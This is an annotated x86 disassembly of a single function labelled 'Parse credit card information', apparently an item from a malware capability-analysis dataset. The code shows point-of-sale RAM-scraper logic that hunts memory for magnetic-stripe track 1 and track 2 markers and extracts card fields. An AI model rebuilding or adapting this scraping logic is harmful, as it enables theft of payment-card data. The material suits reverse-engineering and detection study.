Function at 0x403dc0
Capabilities:
Parse credit card information

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x114
mov dword [ebp + 0x54], 0
cmp dword [ebp + 0x7c], 0
jbe 0x4046d2
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
test edx, edx
je 0x4046a9
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x7f
jge 0x4046a9
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x20
jle 0x4046a9
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x25
jne 0x4040d1
cmp dword [ebp + 0x7c], 0x4f
jbe 0x4040d1
mov dword [ebp + 0x68], 0
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
test eax, eax
jne 0x403e78
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x42
je 0x403e66
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x62
jne 0x403e78
mov dword [ebp + 0x60], 1
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
jmp 0x403eb7
mov ecx, dword [ebp + 0x5c]
movsx edx, byte [ecx]
cmp edx, 0x42
je 0x403e8e
mov eax, dword [ebp + 0x5c]
movsx ecx, byte [eax]
cmp ecx, 0x62
jne 0x403ea0
mov dword [ebp + 0x60], 0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
jmp 0x403eb7
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403dd2
mov edx, dword [ebp + 0x68]
add edx, 2
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x58], 1
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.004050a0
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4040d1
push 0x14
push 0
lea eax, [ebp + 0x40]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x403f1c
push 0
push 0
push 0x14
lea ecx, [ebp + 0x40]
push ecx
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x403f30
mov ecx, dword [ebp + 0x64]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00401980
add esp, 0xc
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x64]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00404f80
add esp, 8
cmp eax, 1
jne 0x4040d1
cmp dword [ebp + 0x60], 0
jne 0x403f63
mov ecx, dword [ebp + 0x6c]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], ecx
jmp 0x403f6f
mov edx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x6c]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x5e
jne 0x4040d1
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405180
add esp, 8
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4040d1
cmp dword [ebp + 0x60], 0
jne 0x403fac
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x403fb8
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, 0x4f
sub edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.004051f0
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4040d1
cmp dword [ebp + 0x60], 0
jne 0x403ffc
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x404008
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x5c]
sub edx, 1
mov dword [ebp + 0x5c], edx
push 0x4f
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x404046
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00401980
add esp, 0xc
jmp 0x404062
push 0
push 0
push 0x4f
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x5c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [0x4072c0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x4040d1
mov eax, dword [ebp + 0x68]
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.00404df0
add esp, 8
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00404d80
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x4040b1
mov ecx, dword [ebp + 0x78]
add ecx, dword [ebp + 0x68]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], edx
jmp 0x4040ca
mov eax, dword [ebp + 0x68]
mov ecx, dword [ebp + 0x78]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x78], edx
mov eax, dword [ebp + 0x68]
shl eax, 1
mov ecx, dword [ebp + 0x7c]
sub ecx, eax
mov dword [ebp + 0x7c], ecx
mov dword [ebp + 0x54], 1
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x3b
jne 0x404369
cmp dword [ebp + 0x7c], 0x28
jbe 0x404369
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x404130
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.00405070
add esp, 4
cmp eax, 1
jne 0x404130
mov dword [ebp + 0x60], 1
jmp 0x404164
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.00405070
add esp, 4
cmp eax, 1
jne 0x40414d
mov dword [ebp + 0x60], 0
jmp 0x404164
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403dd2
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.004050a0
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404369
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x4041c9
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x4041dd
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00404f80
add esp, 8
cmp eax, 1
jne 0x404369
cmp dword [ebp + 0x60], 0
jne 0x404210
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x40421c
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x404236
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x404369
cmp dword [ebp + 0x60], 0
jne 0x404247
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x404250
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.004051f0
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404369
cmp dword [ebp + 0x60], 0
jne 0x404294
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4042a0
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x28
push 0
lea edx, [ebp + 0x18]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x4042de
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x4042fa
push 0
push 0
push 0x28
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [0x4072c0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404369
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp + 0x18]
push eax
call fcn.00404df0
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00404d80
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404349
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x404362
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x2b
je 0x40438e
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x21
je 0x40438e
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x23
jne 0x4046a9
cmp dword [ebp + 0x7c], 0x6b
jbe 0x4046a9
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4043de
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.00405070
add esp, 4
cmp eax, 1
jne 0x4043de
mov dword [ebp + 0x60], 1
jmp 0x404412
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.00405070
add esp, 4
cmp eax, 1
jne 0x4043fb
mov dword [ebp + 0x60], 0
jmp 0x404412
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403dd2
cmp dword [ebp + 0x60], 1
jne 0x404456
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.00405070
add esp, 4
test eax, eax
jne 0x40444b
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403dd2
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
jmp 0x404492
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.00405070
add esp, 4
test eax, eax
jne 0x404489
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403dd2
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 3
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.004050a0
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4046a9
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x4044f7
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x40450b
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00404f80
add esp, 8
cmp eax, 1
jne 0x4046a9
cmp dword [ebp + 0x60], 0
jne 0x40453e
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x40454a
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x404564
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x4046a9
cmp dword [ebp + 0x60], 0
jne 0x404575
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x40457e
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.004051f0
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4046a9
cmp dword [ebp + 0x60], 0
jne 0x4045c2
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4045ce
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x6b
push 0
lea edx, [ebp - 0xa4]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x404612
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x404631
push 0
push 0
push 0x6b
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [0x4072c0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x4046a9
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0xa4]
push eax
call fcn.00404df0
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00404d80
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404689
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x4046a2
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
cmp dword [ebp + 0x54], 1
jne 0x4046bb
mov dword [ebp + 0x54], 0
jmp 0x403ddc
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403dd2
add ebp, 0x70
mov esp, ebp
pop ebp
ret